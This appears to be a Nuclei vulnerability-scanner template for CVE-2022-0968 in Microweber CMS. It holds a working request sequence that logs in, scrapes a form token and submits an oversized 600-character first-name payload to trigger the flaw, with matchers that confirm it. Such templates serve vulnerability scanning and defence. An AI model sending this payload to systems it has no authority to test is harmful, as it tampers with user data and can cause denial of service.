86 lines
2.9 KiB
YAML
86 lines
2.9 KiB
YAML
id: CVE-2022-0968
|
|
|
|
info:
|
|
name: Microweber <1.2.12 - Integer Overflow
|
|
author: amit-jd
|
|
severity: medium
|
|
description: |
|
|
Microweber before 1.2.12 is susceptible to integer overflow. The application allows large characters to insert in the input field 'first & last name,' which can allow an attacker to cause a denial of service via a crafted HTTP request.
|
|
remediation: First name and last name input should be limited to 50 characters or maximum 100 characters.
|
|
reference:
|
|
- https://huntr.dev/bounties/97e36678-11cf-42c6-889c-892d415d9f9e/
|
|
- https://github.com/advisories/GHSA-5fxv-xx5p-g2fv
|
|
- https://huntr.dev/bounties/97e36678-11cf-42c6-889c-892d415d9f9e
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2022-0968
|
|
- https://github.com/microweber/microweber/commit/80e39084729a57dfe749626c3b9d35247a14c49e
|
|
classification:
|
|
cvss-metrics: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
|
|
cvss-score: 5.5
|
|
cve-id: CVE-2022-0968
|
|
cwe-id: CWE-190
|
|
epss-score: 0.00076
|
|
epss-percentile: 0.31483
|
|
cpe: cpe:2.3:a:microweber:microweber:*:*:*:*:*:*:*:*
|
|
metadata:
|
|
max-request: 3
|
|
vendor: microweber
|
|
product: microweber
|
|
tags: cve,cve2022,overflow,microweber,cms,huntr
|
|
variables:
|
|
payload: '{{repeat("A", 600)}}'
|
|
|
|
http:
|
|
- raw:
|
|
- |
|
|
POST /api/user_login HTTP/1.1
|
|
Host: {{Hostname}}
|
|
Content-Type: application/x-www-form-urlencoded
|
|
|
|
username={{username}}&password={{password}}
|
|
- |
|
|
GET /admin/view:modules/load_module:users/edit-user:2 HTTP/1.1
|
|
Host: {{Hostname}}
|
|
- |
|
|
POST /api/user/2 HTTP/1.1
|
|
Host: {{Hostname}}
|
|
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
|
|
|
|
thumbnail=&id=2&token={{form_token}}&_method=PATCH&username={{user}}&verify_password=&first_name={{payload}}&last_name=test&email={{email}}&phone=&is_admin=0&is_active=1&basic_mode=0&api_key=
|
|
|
|
cookie-reuse: true
|
|
req-condition: true
|
|
matchers:
|
|
- type: dsl
|
|
dsl:
|
|
- contains(body_3,'\"first_name\":\"{{payload}}\"')
|
|
- 'status_code_3==200'
|
|
- 'contains(header_3,"application/json")'
|
|
condition: and
|
|
|
|
extractors:
|
|
- type: regex
|
|
name: form_token
|
|
group: 1
|
|
regex:
|
|
- '<input type="hidden" name="token" value="(.*)" autocomplete="off">'
|
|
internal: true
|
|
part: body
|
|
|
|
- type: regex
|
|
name: user
|
|
group: 1
|
|
regex:
|
|
- '<input type="text" class="form-control" name="username" value="(.*)">'
|
|
internal: true
|
|
part: body
|
|
|
|
- type: regex
|
|
name: email
|
|
group: 1
|
|
regex:
|
|
- '<input type="email" class="form-control" name="email" value="(.*)">'
|
|
internal: true
|
|
part: body
|
|
|
|
# digest: 4a0a00473045022100a7405c03e871ed898676007a38207eebc8c8553dd88c82a8d36b6d8513a08073022077f82e240880f49c2854a3ae3e17140c7968428ef51453510c39c6b2c8adb1fa:922c64590222798bb761d5b6d8e72950
|